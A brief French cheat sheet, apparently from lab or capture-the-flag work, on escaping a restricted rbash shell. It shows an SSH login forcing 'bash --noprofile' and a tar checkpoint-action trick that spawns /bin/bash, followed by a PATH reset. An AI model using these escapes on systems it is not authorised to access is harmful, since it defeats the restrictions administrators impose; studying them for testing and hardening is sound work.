Escaping RBash to Normal Bash - Linux

SSH Rbash:

L'utilisateur mindy utilise actuellement un shell rbash qui limite l'exécution de nombreuses commandes.

Pour contourner cette restriction, nous utilisons la commande suivante lors de la connexion SSH pour obtenir un shell Bash :

ssh [email protected] -t "bash --noprofile"

Bypass rbash - tar

Nous nous connectons en tant qu’Ayush, mais nous sommes limités à une shell rbash.

Liste des commandes disponibles :

compgen -c

Nous trouvons tar et contournons rbash avec :

tar | GTFOBinsgtfobins.github.io

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin